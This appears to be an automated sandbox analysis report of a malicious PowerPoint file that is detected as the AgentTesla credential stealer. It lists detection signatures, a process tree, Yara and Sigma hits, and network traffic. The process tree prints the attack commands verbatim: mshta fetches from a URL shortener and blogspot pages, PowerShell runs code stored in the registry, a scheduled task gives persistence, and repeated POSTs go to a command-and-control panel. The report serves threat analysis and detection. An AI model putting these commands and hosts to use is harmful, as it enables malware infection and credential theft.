Play interactive tour

Edit tour

Analysis Report BankSwiftCopyUSD95000.ppt

Overview

General Information

Sample Name:	BankSwiftCopyUSD95000.ppt
Analysis ID:	339086
MD5:	7f0b415d0b7a76530b2f510a910811e5
SHA1:	480594ad26c91dd9d719c80334285375540dc83e
SHA256:	8d3e1d1a1775191a33980069f500e37f22bdcd0a1ad3544ab4a9d0a651fbd019
Tags:	ppt
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Sigma detected: Powershell execute code from registry

Sigma detected: Schedule script from internet via mshta

Yara detected AgentTesla

.NET source code contains very large array initializations

Connects to a URL shortener service

Connects to a pastebin service (likely for C&C)

Creates a scheduled task launching mshta.exe (likely to bypass HIPS)

Creates an autostart registry key pointing to binary in C:\Windows

Creates autostart registry keys with suspicious values (likely registry only malware)

Creates multiple autostart registry keys

Document contains an embedded VBA with base64 encoded strings

Document contains an embedded VBA with many GOTO operations indicating source code obfuscation

Document contains an embedded VBA with many randomly named variables

Document exploit detected (process start blacklist hit)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: MSHTA Spawning Windows Shell

Sigma detected: Microsoft Office Product Spawning Windows Shell

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates a big amount of memory (probably used for heap spraying)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Startup

System is w7x64

POWERPNT.EXE (PID: 1464 cmdline: 'C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE' /AUTOMATION -Embedding MD5: EBBBEF2CCA67822395E24D6E18A3BDF6)

cmd.exe (PID: 1276 cmdline: C:\Windows\system32\cmd.exe /c 'C:\Users\user\Desktop\BankSwiftCopyUSD95000.ppt' MD5: AD7B9C14083B52BC532FBA5948342B98)

POWERPNT.EXE (PID: 2476 cmdline: 'C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE' 'C:\Users\user\Desktop\BankSwiftCopyUSD95000.ppt' MD5: EBBBEF2CCA67822395E24D6E18A3BDF6)

PING.EXE (PID: 2776 cmdline: ping.exe MD5: 5FB30FE90736C7FC77DE637021B1CE7C)

mshta.exe (PID: 2756 cmdline: mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 2816 cmdline: 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)|IEX MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

MSBuild.exe (PID: 2720 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 7FB523211C53D4AB3213874451A928AA)

schtasks.exe (PID: 3036 cmdline: 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\') MD5: 97E0EC3D6D99E8CC2B17EF2D3760E8FC)

cmd.exe (PID: 2340 cmdline: 'C:\Windows\System32\cmd.exe' /c taskkill /f /im winword.exe & taskkill /f /im EXCEL.exe MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

taskkill.exe (PID: 956 cmdline: taskkill /f /im winword.exe MD5: 3722FA501DCB50AE42818F9034906891)

taskkill.exe (PID: 1620 cmdline: taskkill /f /im EXCEL.exe MD5: 3722FA501DCB50AE42818F9034906891)

PING.EXE (PID: 2720 cmdline: ping.exe MD5: 5FB30FE90736C7FC77DE637021B1CE7C)

taskeng.exe (PID: 2168 cmdline: taskeng.exe {2ABF5983-E6CF-46DC-B95A-53E1F6F4D156} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5: 65EA57712340C09B1B0C427B4848AE05)

mshta.exe (PID: 2368 cmdline: C:\Windows\system32\mshta.EXE vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://randikhanaekminar.blogspot.com/p/st2.html'', 0 : window.close') MD5: 95828D670CFD3B16EE188168E083C3C5)

mshta.exe (PID: 600 cmdline: 'C:\Windows\System32\mshta.exe' https://randikhanaekminar.blogspot.com/p/st2.html MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 288 cmdline: 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)|IEX MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

mshta.exe (PID: 848 cmdline: 'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''powershell ((gp HKCU:\Software).meather)|IEX'', 0 : window.close') MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 2796 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' ((gp HKCU:\Software).meather)|IEX MD5: 852D67A27E454BD389FA7F02A8CBE23F)

mshta.exe (PID: 2468 cmdline: 'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://backbones1234511a.blogspot.com/p/stback1.html'', 0 : window.close') MD5: 95828D670CFD3B16EE188168E083C3C5)

mshta.exe (PID: 2236 cmdline: 'C:\Windows\System32\mshta.exe' https://backbones1234511a.blogspot.com/p/stback1.html MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 1776 cmdline: 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)|IEX MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

mshta.exe (PID: 592 cmdline: 'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://startthepartyup.blogspot.com/p/backbone14.html'', 0 : window.close') MD5: 95828D670CFD3B16EE188168E083C3C5)

mshta.exe (PID: 2224 cmdline: 'C:\Windows\System32\mshta.exe' https://startthepartyup.blogspot.com/p/backbone14.html MD5: 95828D670CFD3B16EE188168E083C3C5)

mshta.exe (PID: 532 cmdline: 'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://ghostbackbone123.blogspot.com/p/ghostbackup13.html'', 0 : window.close') MD5: 95828D670CFD3B16EE188168E083C3C5)

mshta.exe (PID: 2112 cmdline: 'C:\Windows\System32\mshta.exe' https://ghostbackbone123.blogspot.com/p/ghostbackup13.html MD5: 95828D670CFD3B16EE188168E083C3C5)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.2279587829.00000000046AE000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2281127990.00000000048E4000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000021.00000002.2354098697.0000000004834000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001D.00000002.2291584431.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000018.00000002.2370323670.0000000004854000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000018.00000002.2361625874.000000000461E000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000021.00000002.2353771380.00000000045FE000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001D.00000002.2295286876.00000000026F1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001D.00000002.2295286876.00000000026F1000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 2816	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 2816	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
29.2.MSBuild.exe.400000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Sigma Overview

System Summary:

Sigma detected: Powershell execute code from registry

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)|IEX, CommandLine: 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)|IEX, CommandLine|base64offset|contains: z+, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 2756, ProcessCommandLine: 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)|IEX, ProcessId: 2816

Sigma detected: Schedule script from internet via mshta

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\'), CommandLine: 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\'), CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 2756, ProcessCommandLine: 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\'), ProcessId: 3036

Sigma detected: MSHTA Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag: Data: Command: 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)|IEX, CommandLine: 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)|IEX, CommandLine|base64offset|contains: z+, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 2756, ProcessCommandLine: 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)|IEX, ProcessId: 2816

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv, CommandLine: mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv, CommandLine|base64offset|contains: m, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE' 'C:\Users\user\Desktop\BankSwiftCopyUSD95000.ppt', ParentImage: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE, ParentProcessId: 2476, ProcessCommandLine: mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv, ProcessId: 2756

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: BankSwiftCopyUSD95000.ppt

Avira: detected

Multi AV Scanner detection for submitted file

Show sources

Source: BankSwiftCopyUSD95000.ppt	Virustotal: Detection: 34%			Perma Link
Source: BankSwiftCopyUSD95000.ppt	ReversingLabs: Detection: 21%

Machine Learning detection for sample

Show sources

Source: BankSwiftCopyUSD95000.ppt

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 104.18.49.20:443 -> 192.168.2.22:49174 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.18.49.20:443 -> 192.168.2.22:49183 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.18.49.20:443 -> 192.168.2.22:49184 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.219.133:443 -> 192.168.2.22:49193 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.18.49.20:443 -> 192.168.2.22:49206 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.18.49.20:443 -> 192.168.2.22:49210 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49215 version: TLS 1.2

Source:	Binary string: Managament.inf.pdb source: powershell.exe, 0000000C.00000002.2287134514.0000000006951000.00000004.00000001.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 0000000C.00000002.2254678756.0000000002B60000.00000002.00000001.sdmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

Process created: C:\Windows\System32\PING.EXE

Jump to behavior

Source: powerpnt.exe

Memory has grown: Private usage: 0MB later: 10MB

Source: global traffic

DNS query: name: j.mp

Source: global traffic

TCP traffic: 192.168.2.22:49168 -> 108.177.127.132:443

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 67.199.248.16:80

Networking:

Connects to a URL shortener service

Show sources

Source: unknown

DNS query: name: j.mp

Connects to a pastebin service (likely for C&C)

Show sources

Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee

Uses ping.exe to check the status of other devices and networks

Show sources

Source: unknown

Process created: C:\Windows\System32\PING.EXE ping.exe

Source: Joe Sandbox View	IP Address: 172.67.219.133 172.67.219.133
Source: Joe Sandbox View	IP Address: 172.67.219.133 172.67.219.133
Source: Joe Sandbox View	IP Address: 67.199.248.16 67.199.248.16
Source: Joe Sandbox View	IP Address: 67.199.248.16 67.199.248.16

Source: Joe Sandbox View

ASN Name: GOOGLE-PRIVATE-CLOUDUS GOOGLE-PRIVATE-CLOUDUS

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: global traffic	HTTP traffic detected: GET /dbgghasdnasdjasgdakgsdhv HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: j.mpConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 64.188.18.218Content-Length: 368Expect: 100-continueConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 104.18.49.20:443 -> 192.168.2.22:49174 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.18.49.20:443 -> 192.168.2.22:49183 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.18.49.20:443 -> 192.168.2.22:49184 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.219.133:443 -> 192.168.2.22:49193 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.18.49.20:443 -> 192.168.2.22:49206 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.18.49.20:443 -> 192.168.2.22:49210 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.218

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ

Jump to behavior

Source: global traffic

HTTP traffic detected: GET /dbgghasdnasdjasgdakgsdhv HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: j.mpConnection: Keep-Alive

Source: mshta.exe, 00000006.00000002.2268752181.00000000003DE000.00000004.00000020.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.comt\ equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: Content-Security-Policy: script-src 'self' .google.com .google-analytics.com 'unsafe-inline' 'unsafe-eval' .gstatic.com .googlesyndication.com .blogger.com .googleapis.com uds.googleusercontent.com https://s.ytimg.com https://i18n-cloud.appspot.com https://www.youtube.com www-onepick-opensocial.googleusercontent.com www-bloggervideo-opensocial.googleusercontent.com www-blogger-opensocial.googleusercontent.com https://www.blogblog.com; report-uri /cspreport equals www.youtube.com (Youtube)
Source: mshta.exe, 00000006.00000002.2277240561.0000000003D50000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2255231499.0000000002C00000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
